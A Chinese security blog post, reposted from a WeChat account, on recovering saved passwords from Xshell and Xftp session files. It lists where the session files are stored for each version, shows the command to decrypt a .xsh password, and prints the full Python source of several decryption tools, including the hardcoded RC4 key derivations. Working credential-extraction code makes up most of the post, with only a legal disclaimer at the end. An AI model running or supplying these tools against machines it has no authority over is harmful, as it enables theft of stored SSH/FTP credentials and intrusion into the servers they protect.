如何获取Xshell/xftp密码

admin 2023年12月1日20:32:23评论117 views字数 13168阅读43分53秒阅读模式

密方式:

这一块主要是不同的版本不同的加密方法,大家可自行研究相关的加密方式,这里不过多讲解:

https://github.com/HyperSine/how-does-Xmanager-encrypt-password


xshell路径

xshell 5%userprofile%DocumentsNetSarangXshellSessions
xshell 6%userprofile%DocumentsNetSarang Computer6XshellSessions
xshell 7%userprofile%DocumentsNetSarang Computer7XshellSessions

xftp路径

xftp5%userprofile%DocumentsNetSarangXshellSessions
XFtp6 %userprofile%DocumentsNetSarang Computer6XftpSessions
XFtp7%userprofile%DocumentsNetSarang Computer7XftpSessions

破解

    我们来看一下xshell7其存储格式,其保存为.xsh格式

如何获取Xshell/xftp密码

直接使用sublime打开,可以看到其密码字段为password

如何获取Xshell/xftp密码

这里面就是我们要破解的密码,直接上工具,使用下面语法:

python XShellCryptoHelper.py -d -ver 7.0 passsword

可以直接获取到相关的密码:

如何获取Xshell/xftp密码

:xftp密码一样的获取方式。

SessionXTSReader

#!/usr/bin/env python3import sys, zipfile, configparser, base64from Crypto.Hash import MD5from Crypto.Cipher import ARC4from XmanagerCrypto import *
XTSKey = MD5.new(b'!X@s#c$e%l^l&').digest()
def XTSEncryptString(s : str): cipher = ARC4.new(XTSKey) ciphertext = cipher.encrypt(s.encode()) checksum = MD5.new(s.encode()).digest() return base64.b64encode(ciphertext + checksum).decode()
def XTSDecryptString(s : str): cipher = ARC4.new(XTSKey) data = base64.b64decode(s) ciphertext, checksum = data[:-MD5.digest_size], data[-MD5.digest_size:] plaintext = cipher.decrypt(ciphertext) assert(MD5.new(plaintext).digest() == checksum) return plaintext.decode()
def XTSGetUserName(Config : configparser.ConfigParser): try: return Config['SessionInfo']['UN'] except: return None
def XTSGetComputerName(Config : configparser.ConfigParser): try: return Config['SessionInfo']['CN'] except: return None
def XTSGetSID(Config : configparser.ConfigParser): try: return Config['SessionInfo']['SI'] except: return None
def XTSPrintXShellSession(Config : configparser.ConfigParser, username : str, sid : str, masterpwd : str): Version = Config['SessionInfo']['Version'] Host = Config['CONNECTION']['Host'] Port = Config['CONNECTION']['Port'] Username = Config['CONNECTION:AUTHENTICATION']['UserName'] Password = Config['CONNECTION:AUTHENTICATION']['Password']
cipher = XShellCrypto(Version, UserName = username, SID = sid, MasterPassword = masterpwd) try: DecryptedPassword = cipher.DecryptString(Password) Password = DecryptedPassword except: pass print('%-12s = %s' % ('Host', Host)) print('%-12s = %s' % ('Port', Port)) print('%-12s = %s' % ('UserName', Username)) print('%-12s = %s' % ('Password', Password))
def XTSPrintXFtpSession(Config : configparser.ConfigParser, username : str, sid : str, masterpwd : str): Version = Config['SessionInfo']['Version'] Host = Config['Connection']['Host'] Port = Config['Connection']['Port'] Username = Config['Connection']['UserName'] Password = Config['Connection']['Password']
cipher = XFtpCrypto(Version, UserName = username, SID = sid, MasterPassword = masterpwd) try: DecryptedPassword = cipher.DecryptString(Password) Password = DecryptedPassword except: pass
print('%-12s = %s' % ('Host', Host)) print('%-12s = %s' % ('Port', Port)) print('%-12s = %s' % ('UserName', Username)) print('%-12s = %s' % ('Password', Password))
def TryDecode(b : bytes): try: return b.decode() except: pass try: return b.decode('utf16') except: pass
raise UnicodeDecodeError('Cannot decode for unknown encoding.')
def main(XTSFilePath : str, UserName, ComputerName, SID, MasterPassword): with zipfile.ZipFile(XTSFilePath) as XTSFile: config = configparser.ConfigParser() config.read_string(TryDecode(XTSFile.read('xts.zcf')))
if UserName == None: UserName = XTSGetUserName(config) if UserName != None and len(UserName) != 0: UserName = XTSDecryptString(UserName) if ComputerName == None: ComputerName = XTSGetComputerName(config) if ComputerName != None and len(ComputerName) != 0: ComputerName = XTSDecryptString(ComputerName) if SID == None: SID = XTSGetSID(config) if SID != None and len(SID) != 0: SID = XTSDecryptString(SID) if ComputerName != None and len(ComputerName) != 0: print('%-12s = %s' % ('ComputerName', ComputerName)) if UserName != None and len(UserName) != 0: print('%-12s = %s' % ('UserName', UserName)) if SID != None and len(SID) != 0: print('%-12s = %s' % ('SID', SID)) if MasterPassword != None and len(MasterPassword) != 0: print('%-12s = %s' % ('MasterPwd', MasterPassword))
print()
for File in XTSFile.infolist(): if File.flag_bits & 0x800: FileName = File.filename else: try: FileName = File.filename.encode('cp437').decode('ansi') except: FileName = File.filename FileNameL = FileName.lower() if FileNameL == 'xts.zcf': continue if FileNameL.startswith('xshell/') and FileNameL.endswith('.xsh'): config.clear() config.read_string(TryDecode(XTSFile.read(File.filename))) print(FileName) XTSPrintXShellSession(config, UserName, SID, MasterPassword) elif FileNameL.startswith('xftp/') and FileNameL.endswith('.xfp'): config.clear() config.read_string(TryDecode(XTSFile.read(File.filename))) print(FileName) XTSPrintXFtpSession(config, UserName, SID, MasterPassword) print() else: if File.is_dir() == False: print('Unhandled file: %s' % File.filename) continue print()
def help(): print('Usage:') print(' SessionXTSReader.py [-user user_string]') print(' [-sid sid_string]') print(' [-key key_string]') print(' <XTS file path>')
if __name__ == '__main__': if len(sys.argv) < 2: help() exit(0) user = None sid = None key = None path = None
i = 1 while i < len(sys.argv): if sys.argv[i].lower() == '-user': user = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-sid': sid = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-key': key = sys.argv[i + 1] i += 1 else: path = sys.argv[i] break i += 1 main(path, user, None, sid, key)else: print('Please run as script directly')

XFtpCryptoHelper


#!/usr/bin/env python3import sysfrom XmanagerCrypto import XFtpCrypto
def GetCurrentUserName(): import win32api return win32api.GetUserName()
def GetCurrentSID(): import win32api, win32security Sid = win32security.LookupAccountName(win32api.GetComputerName(), win32api.GetUserName())[0] return win32security.ConvertSidToStringSid(Sid)
def help(): print('Usage:') print(' XFtpCryptoHelper.py <-e | -d>') print(' [-ver ver_sting]') print(' [-user user_string]') print(' [-sid sid_string]') print(' [-key key_string]') print(' <password_str | base64_str>') print('') print(' <-e|-d>: Specify encryption(-e) or decryption(-d).') print('') print(' [-ver ver_string]: Specify version of session file.') print(' ver_string can be "5.1", "5.2", "6.0" and etc.') print(' If not specified, the latest version will be used.') print('') print(' [-user user_string]: Specify username. This parameter will be used if version > 5.2.') print(' If not specified, the current username will be used.') print('') print(' [-sid sid_string]: Specify SID. This parameter will be used if version >= 5.1.') print(' If not specified, the current user's SID will be used.') print('') print(' [-key key_string]: Specify user's master password.') print(' If specified, implicit "-ver 6.0"') print('') print(' <password_str|base64_str>: Plain password text or base64-encoded encrypted text.') print('')
def main(): if (len(sys.argv) < 3): help() return if sys.argv[1].lower() == '-e': bEncrypt = True elif sys.argv[1].lower() == '-d': bEncrypt = False else: help() return ver = None user = None sid = None key = None targets = []
i = 2 while i < len(sys.argv): if sys.argv[i].lower() == '-ver': if ver != None: raise ValueError('Duplicate arguments are found: -ver') ver = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-user': if user != None: raise ValueError('Duplicate arguments are found: -user') user = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-sid': if sid != None: raise ValueError('Duplicate arguments are found: -sid') sid = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-key': if key != None: raise ValueError('Duplicate arguments are found: -key') key = sys.argv[i + 1] i += 1 else: for j in range(i, len(sys.argv)): targets.append(sys.argv[j]) i += len(targets) i += 1
if ver == None: ver = 0xffff if key != None: ver = 6.0 if key == None and float(ver) >= 5.1 and sid == None: sid = GetCurrentSID() if key == None and float(ver) > 5.2 and user == None: user = GetCurrentUserName() cipher = XFtpCrypto(SessionFileVersion = ver, UserName = user, SID = sid, MasterPassword = key) for target in targets: if bEncrypt: print(cipher.EncryptString(target)) else: print(cipher.DecryptString(target))
if __name__ == '__main__': main()else: print('Please run as script directly.')

XmanagerCrypto

#!/usr/bin/env python3from base64 import b64encode, b64decodefrom Crypto.Hash import MD5, SHA256from Crypto.Cipher import ARC4
class XShellCrypto(object):
def __init__(self, SessionFileVersion = 0xffff, **kwargs): ''' SessionFileVersion must be convertable to float
Supported kwargs: UserName : str SID : str MasterPassword : str ''' self._Version = float(SessionFileVersion) if 0 < self._Version and self._Version < 5.1: self._Key = MD5.new(b'!X@s#h$e%l^l&').digest() elif 5.1 <= self._Version and self._Version <= 5.2: self._Key = SHA256.new(kwargs['SID'].encode()).digest() elif 5.2 < self._Version: if kwargs.get('MasterPassword') == None: self._Key = SHA256.new((kwargs['UserName'] + kwargs['SID']).encode()).digest() else: self._Key = SHA256.new(kwargs['MasterPassword'].encode()).digest() else: raise ValueError('Invalid argument: SessionFileVersion')
def EncryptString(self, String : str): Cipher = ARC4.new(self._Key) if self._Version < 5.1: return b64encode(Cipher.encrypt(String.encode())).decode() else: checksum = SHA256.new(String.encode()).digest() ciphertext = Cipher.encrypt(String.encode()) return b64encode(ciphertext + checksum).decode()
def DecryptString(self, String : str): Cipher = ARC4.new(self._Key) if self._Version < 5.1: return Cipher.decrypt(b64decode(String)).decode() else: data = b64decode(String) ciphertext, checksum = data[:-SHA256.digest_size], data[-SHA256.digest_size:] plaintext = Cipher.decrypt(ciphertext) if SHA256.new(plaintext).digest() != checksum: raise ValueError('Cannot decrypt string. The key is wrong!') return plaintext.decode()
class XFtpCrypto(object):
def __init__(self, SessionFileVersion = 0xffff, **kwargs): ''' SessionFileVersion must be convertable to float
Supported kwargs: UserName : str SID : str MasterPassword : str ''' self._Version = float(SessionFileVersion) if 0 < self._Version and self._Version < 5.1: self._Key = MD5.new(b'!X@s#c$e%l^l&').digest() # key is different with the one in XShellCrypto elif 5.1 <= self._Version and self._Version <= 5.2: self._Key = SHA256.new(kwargs['SID'].encode()).digest() elif 5.2 < self._Version: if kwargs.get('MasterPassword') == None: self._Key = SHA256.new((kwargs['UserName'] + kwargs['SID']).encode()).digest() else: self._Key = SHA256.new(kwargs['MasterPassword'].encode()).digest() else: raise ValueError('Invalid argument: SessionFileVersion')
def EncryptString(self, String : str): Cipher = ARC4.new(self._Key) if self._Version < 5.1: return b64encode(Cipher.encrypt(String.encode())).decode() else: checksum = SHA256.new(String.encode()).digest() ciphertext = Cipher.encrypt(String.encode()) return b64encode(ciphertext + checksum).decode()
def DecryptString(self, String : str): Cipher = ARC4.new(self._Key) if self._Version < 5.1: return Cipher.decrypt(b64decode(String)).decode() else: data = b64decode(String) ciphertext, checksum = data[:-SHA256.digest_size], data[-SHA256.digest_size:] plaintext = Cipher.decrypt(ciphertext) if SHA256.new(plaintext).digest() != checksum: raise ValueError('Cannot decrypt string. The key is wrong!') return plaintext.decode()



XShellCryptoHelper


#!/usr/bin/env python3import sysfrom XmanagerCrypto import XShellCrypto
def GetCurrentUserName(): import win32api return win32api.GetUserName()
def GetCurrentSID(): import win32api, win32security Sid = win32security.LookupAccountName(win32api.GetComputerName(), win32api.GetUserName())[0] return win32security.ConvertSidToStringSid(Sid)
def help(): print('Usage:') print(' XShellCryptoHelper.py <-e | -d>') print(' [-ver ver_sting]') print(' [-user user_string]') print(' [-sid sid_string]') print(' [-key key_string]') print(' <password_str | base64_str>') print('') print(' <-e|-d>: Specify encryption(-e) or decryption(-d).') print('') print(' [-ver ver_string]: Specify version of session file.') print(' ver_string can be "5.1", "5.2", "6.0" and etc.') print(' If not specified, the latest version will be used.') print('') print(' [-user user_string]: Specify username. This parameter will be used if version > 5.2.') print(' If not specified, the current username will be used.') print('') print(' [-sid sid_string]: Specify SID. This parameter will be used if version >= 5.1.') print(' If not specified, the current user's SID will be used.') print('') print(' [-key key_string]: Specify user's master password.') print(' If specified, implicit "-ver 6.0"') print('') print(' <password_str|base64_str>: Plain password text or base64-encoded encrypted text.') print('')
def main(): if (len(sys.argv) < 3): help() return if sys.argv[1].lower() == '-e': bEncrypt = True elif sys.argv[1].lower() == '-d': bEncrypt = False else: help() return ver = None user = None sid = None key = None targets = []
i = 2 while i < len(sys.argv): if sys.argv[i].lower() == '-ver': if ver != None: raise ValueError('Duplicate arguments are found: -ver') ver = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-user': if user != None: raise ValueError('Duplicate arguments are found: -user') user = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-sid': if sid != None: raise ValueError('Duplicate arguments are found: -sid') sid = sys.argv[i + 1] i += 1 elif sys.argv[i].lower() == '-key': if key != None: raise ValueError('Duplicate arguments are found: -key') key = sys.argv[i + 1] i += 1 else: for j in range(i, len(sys.argv)): targets.append(sys.argv[j]) i += len(targets) i += 1
if ver == None: ver = 0xffff if key != None: ver = 6.0 if key == None and float(ver) >= 5.1 and sid == None: sid = GetCurrentSID() if key == None and float(ver) > 5.2 and user == None: user = GetCurrentUserName() cipher = XShellCrypto(SessionFileVersion = ver, UserName = user, SID = sid, MasterPassword = key) for target in targets: if bEncrypt: print(cipher.EncryptString(target)) else: print(cipher.DecryptString(target))
if __name__ == '__main__': main()else: print('Please run as script directly.')


参考链接

https://github.com/HyperSine/how-does-Xmanager-encrypt-password

如何获取Xshell/xftp密码

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


原文始发于微信公众号(巢安实验室):如何获取Xshell/xftp密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月1日20:32:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何获取Xshell/xftp密码https://cn-sec.com/archives/2260432.html

发表评论

匿名网友 填写信息